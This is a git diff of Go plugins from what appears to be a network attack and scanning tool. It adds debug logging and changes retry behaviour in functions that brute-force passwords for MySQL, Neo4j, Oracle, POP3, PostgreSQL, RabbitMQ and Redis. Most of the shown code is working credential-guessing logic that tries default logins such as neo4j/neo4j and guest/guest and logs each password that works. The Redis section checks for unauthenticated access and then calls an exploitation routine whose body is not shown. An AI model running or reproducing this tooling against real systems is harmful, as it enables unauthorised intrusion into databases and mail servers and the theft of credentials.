starttime := time.Now().Unix()
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
totalUsers := len(Common.Userdict["mysql"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["mysql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行MySQL连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := MysqlConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -50,7 +61,6 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
// 连接成功
|
||||
successLog := fmt.Sprintf("MySQL %v:%v %v %v",
|
||||
info.Host, info.Ports, user, pass)
|
||||
Common.LogSuccess(successLog)
|
||||
@ -76,7 +86,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
if retryCount == maxRetries-1 {
|
||||
tmperr = err
|
||||
if !strings.Contains(err.Error(), "Access denied") {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
}
|
||||
continue // 继续重试
|
||||
@ -87,6 +97,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -8,7 +8,6 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// Neo4jScan 执行 Neo4j 服务扫描
|
||||
func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
@ -16,6 +15,8 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
|
||||
// 首先测试无认证访问和默认凭证
|
||||
initialChecks := []struct {
|
||||
user string
|
||||
@ -25,39 +26,50 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
||||
{"neo4j", "neo4j"}, // 默认凭证
|
||||
}
|
||||
|
||||
Common.LogDebug("尝试默认凭证...")
|
||||
for _, check := range initialChecks {
|
||||
Common.LogDebug(fmt.Sprintf("尝试: %s:%s", check.user, check.pass))
|
||||
flag, err := Neo4jConn(info, check.user, check.pass)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
totalUsers := len(Common.Userdict["neo4j"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["neo4j"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行Neo4j连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := Neo4jConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag, err}
|
||||
}{flag, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -81,17 +93,17 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -9,39 +9,49 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// OracleScan 执行Oracle服务扫描
|
||||
func OracleScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
totalUsers := len(Common.Userdict["oracle"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["oracle"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行Oracle连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := OracleConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -50,6 +60,9 @@ func OracleScan(info *Common.HostInfo) (tmperr error) {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successLog := fmt.Sprintf("Oracle %v:%v %v %v",
|
||||
info.Host, info.Ports, user, pass)
|
||||
Common.LogSuccess(successLog)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
@ -65,17 +78,17 @@ func OracleScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -16,32 +16,43 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
totalUsers := len(Common.Userdict["pop3"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["pop3"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行POP3连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := POP3Conn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -50,7 +61,6 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
// 连接成功
|
||||
successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v",
|
||||
info.Host, info.Ports, user, pass)
|
||||
Common.LogSuccess(successLog)
|
||||
@ -69,17 +79,17 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -16,32 +16,43 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
totalUsers := len(Common.Userdict["postgresql"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["postgresql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行PostgreSQL连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := PostgresConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -50,6 +61,9 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successLog := fmt.Sprintf("PostgreSQL %v:%v %v %v",
|
||||
info.Host, info.Ports, user, pass)
|
||||
Common.LogSuccess(successLog)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
@ -65,17 +79,17 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -16,28 +16,32 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
Common.LogDebug("尝试默认账号 guest/guest")
|
||||
|
||||
// 先测试默认账号 guest/guest
|
||||
user, pass := "guest", "guest"
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试默认账号: guest/guest", retryCount+1))
|
||||
}
|
||||
|
||||
// 执行RabbitMQ连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
success, err := RabbitMQConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
@ -62,7 +66,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
@ -70,30 +74,42 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
break
|
||||
}
|
||||
|
||||
// 计算总尝试次数
|
||||
totalUsers := len(Common.Userdict["rabbitmq"])
|
||||
totalPass := len(Common.Passwords)
|
||||
total := totalUsers * totalPass
|
||||
tried := 0
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
// 遍历其他用户名密码组合
|
||||
for _, user := range Common.Userdict["rabbitmq"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行RabbitMQ连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := RabbitMQConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -118,7 +134,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
@ -128,6 +144,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried+1)) // +1 包含默认账号
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
510
Plugins/Redis.go
510
Plugins/Redis.go
@ -8,7 +8,6 @@ import (
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
@ -18,232 +17,241 @@ var (
|
||||
)
|
||||
|
||||
// RedisScan 执行Redis服务扫描
|
||||
func RedisScan(info *Common.HostInfo) (tmperr error) {
|
||||
func RedisScan(info *Common.HostInfo) error {
|
||||
Common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports))
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
// 先尝试无密码连接
|
||||
flag, err := RedisUnauth(info)
|
||||
if flag && err == nil {
|
||||
return err
|
||||
Common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s:%v", info.Host, info.Ports))
|
||||
return nil
|
||||
}
|
||||
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
Common.LogDebug("暴力破解已禁用,结束扫描")
|
||||
return nil
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
threads := Common.BruteThreads
|
||||
|
||||
// 创建任务通道
|
||||
taskChan := make(chan string, len(Common.Passwords))
|
||||
resultChan := make(chan error, threads)
|
||||
|
||||
// 生成所有密码任务
|
||||
// 遍历密码字典
|
||||
for _, pass := range Common.Passwords {
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
errMsg := fmt.Sprintf("Redis扫描超时: %s:%v", info.Host, info.Ports)
|
||||
Common.LogError(errMsg)
|
||||
return fmt.Errorf(errMsg)
|
||||
}
|
||||
|
||||
// 替换密码模板
|
||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
||||
taskChan <- pass
|
||||
}
|
||||
close(taskChan)
|
||||
Common.LogDebug(fmt.Sprintf("尝试密码: %s", pass))
|
||||
|
||||
// 启动工作线程
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
// 密码重试逻辑
|
||||
var lastErr error
|
||||
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
|
||||
// 如果不是第一次重试,添加重试日志
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第 %d 次重试: %s", retryCount+1, pass))
|
||||
}
|
||||
|
||||
for pass := range taskChan {
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
resultChan <- fmt.Errorf("扫描超时")
|
||||
return
|
||||
// 执行Redis连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
|
||||
go func() {
|
||||
success, err := RedisConn(info, pass)
|
||||
done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
var connErr error
|
||||
select {
|
||||
case result := <-done:
|
||||
if result.success {
|
||||
Common.LogSuccess(fmt.Sprintf("Redis登录成功 %s:%v [%s]",
|
||||
info.Host, info.Ports, pass))
|
||||
return nil
|
||||
}
|
||||
connErr = result.err
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
connErr = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
// 处理错误情况
|
||||
if connErr != nil {
|
||||
lastErr = connErr
|
||||
errMsg := fmt.Sprintf("Redis尝试失败 %s:%v [%s] %v",
|
||||
info.Host, info.Ports, pass, connErr)
|
||||
Common.LogError(errMsg)
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(connErr); retryErr != nil {
|
||||
if retryCount == Common.MaxRetries-1 {
|
||||
Common.LogDebug(fmt.Sprintf("达到最大重试次数: %s", pass))
|
||||
break
|
||||
}
|
||||
|
||||
// 执行Redis连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
|
||||
go func(pass string) {
|
||||
success, err := RedisConn(info, pass)
|
||||
done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}(pass)
|
||||
|
||||
// 等待结果或超时
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
resultChan <- nil
|
||||
return
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("Redis %v:%v %v %v",
|
||||
info.Host, info.Ports, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
resultChan <- err
|
||||
return
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
resultChan <- nil
|
||||
}()
|
||||
}
|
||||
|
||||
// 等待所有线程完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
|
||||
// 检查结果
|
||||
for err := range resultChan {
|
||||
if err != nil {
|
||||
tmperr = err
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
return err
|
||||
}
|
||||
// 如果最后一次尝试遇到需要重试的错误,返回该错误
|
||||
if lastErr != nil && Common.CheckErrs(lastErr) != nil {
|
||||
Common.LogDebug(fmt.Sprintf("Redis扫描中断: %v", lastErr))
|
||||
return lastErr
|
||||
}
|
||||
}
|
||||
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// RedisConn 尝试Redis连接
|
||||
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 发送认证命令
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 认证成功
|
||||
if strings.Contains(reply, "+OK") {
|
||||
// 获取配置信息
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("Redis %s %s", realhost, pass)
|
||||
Common.LogSuccess(result)
|
||||
return true, err
|
||||
}
|
||||
|
||||
result := fmt.Sprintf("Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试利用
|
||||
err = Expoilt(realhost, conn)
|
||||
return true, err
|
||||
}
|
||||
|
||||
return false, err
|
||||
Common.LogDebug(fmt.Sprintf("Redis扫描完成: %s:%v", info.Host, info.Ports))
|
||||
return nil
|
||||
}
|
||||
|
||||
// RedisUnauth 尝试Redis未授权访问检测
|
||||
func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost))
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
|
||||
return flag, err
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置读取超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err))
|
||||
return flag, err
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 发送info命令测试未授权访问
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost))
|
||||
if _, err = conn.Write([]byte("info\r\n")); err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
|
||||
return flag, err
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
|
||||
return flag, err
|
||||
return false, err
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
|
||||
|
||||
// 检查未授权访问
|
||||
if !strings.Contains(reply, "redis_version") {
|
||||
Common.LogDebug(fmt.Sprintf("Redis %s 未发现未授权访问", realhost))
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// 判断是否存在未授权访问
|
||||
if strings.Contains(reply, "redis_version") {
|
||||
flag = true
|
||||
// 获取Redis配置信息
|
||||
// 发现未授权访问,获取配置
|
||||
Common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost))
|
||||
dbfilename, dir, err := getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
return true, err
|
||||
}
|
||||
|
||||
// 输出详细信息
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试漏洞利用
|
||||
Common.LogDebug(fmt.Sprintf("尝试Redis %s 漏洞利用", realhost))
|
||||
if err = Expoilt(realhost, conn); err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// RedisConn 尝试Redis连接
|
||||
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("尝试Redis连接: %s [%s]", realhost, pass))
|
||||
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("连接失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置超时失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 发送认证命令
|
||||
authCmd := fmt.Sprintf("auth %s\r\n", pass)
|
||||
Common.LogDebug("发送认证命令")
|
||||
if _, err = conn.Write([]byte(authCmd)); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("发送认证命令失败: %v", err))
|
||||
return false, err
|
||||
}
